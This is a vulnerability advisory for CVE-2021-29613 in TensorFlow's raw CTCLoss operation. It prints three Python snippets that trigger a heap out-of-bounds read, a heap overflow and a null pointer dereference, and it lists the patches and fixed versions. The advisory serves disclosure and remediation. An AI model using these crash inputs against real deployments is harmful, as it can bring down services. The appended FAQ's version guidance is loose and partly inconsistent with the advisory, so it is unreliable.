CVE-2021-29613: Incomplete validation in `tf.raw_ops.CTCLoss`
Impact Incomplete validation in tf.rawops.CTCLoss allows an attacker to trigger an OOB read from heap:
python import tensorflow as tf
inputs = tf.constant([], shape=[10, 16, 0], dtype=tf.float32) labelsindices = tf.constant([], shape=[8, 0], dtype=tf.int64) labelsvalues = tf.constant([-100] 8, shape=[8], dtype=tf.int32) sequencelength = tf.constant([-100] 16, shape=[16], dtype=tf.int32) tf.rawops.CTCLoss(inputs=inputs, labelsindices=labelsindices, labelsvalues=labelsvalues, sequencelength=sequencelength, preprocesscollapserepeated=True, ctcmergerepeated=False, ignorelongeroutputsthaninputs=True) An attacker can also trigger a heap buffer overflow:
python import tensorflow as tf
inputs = tf.constant([], shape=[7, 2, 0], dtype=tf.float32) labelsindices = tf.constant([-100, -100], shape=[2, 1], dtype=tf.int64) labelsvalues = tf.constant([-100, -100], shape=[2], dtype=tf.int32) sequencelength = tf.constant([-100, -100], shape=[2], dtype=tf.int32)
tf.rawops.CTCLoss(inputs=inputs, labelsindices=labelsindices, labelsvalues=labelsvalues, sequencelength=sequencelength, preprocesscollapserepeated=False, ctcmergerepeated=False, ignorelongeroutputsthaninputs=False)
Finally, an attacker can trigger a null pointer dereference:
python import tensorflow as tf
inputs = tf.constant([], shape=[0, 2, 11], dtype=tf.float32) labelsindices = tf.constant([], shape=[0, 2], dtype=tf.int64) labelsvalues = tf.constant([], shape=[0], dtype=tf.int32) sequencelength = tf.constant([-100, -100], shape=[2], dtype=tf.int32)
tf.rawops.CTCLoss(inputs=inputs, labelsindices=labelsindices, labelsvalues=labelsvalues, sequencelength=sequencelength, preprocesscollapserepeated=False, ctcmergerepeated=False, ignorelongeroutputsthaninputs=False)
Patches We have patched the issue in GitHub commit14607c0707040d775e06b6817325640cb4b5864c followed by GitHub commit 4504a081af71514bb1828048363e6540f797005b.
The fix will be included in TensorFlow 2.5.0. We will also cherrypick these commits on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.
For more information Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
Attribution This vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.
Other sources
TensorFlow is an end-to-end open source platform for machine learning. Incomplete validation in tf.rawops.CTCLoss allows an attacker to trigger an OOB read from heap. The fix will be included in TensorFlow 2.5.0. We will also cherrypick these commits on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.
Affected Software
Remediation
Event History
Frequently Asked Questions
What is the severity of CVE-2021-29613?
The severity of CVE-2021-29613 is classified as high due to the potential for an out-of-bounds read exploit.
How do I fix CVE-2021-29613?
To fix CVE-2021-29613, upgrade to TensorFlow version 2.4.2 or later.
Which versions of TensorFlow are affected by CVE-2021-29613?
CVE-2021-29613 affects TensorFlow versions prior to 2.1.4 and between 2.2.0 and 2.4.2.
What type of vulnerability is CVE-2021-29613?
CVE-2021-29613 is an incomplete validation vulnerability that can lead to an out-of-bounds read.
Can CVE-2021-29613 be exploited remotely?
Yes, CVE-2021-29613 can potentially be exploited remotely through crafted input data.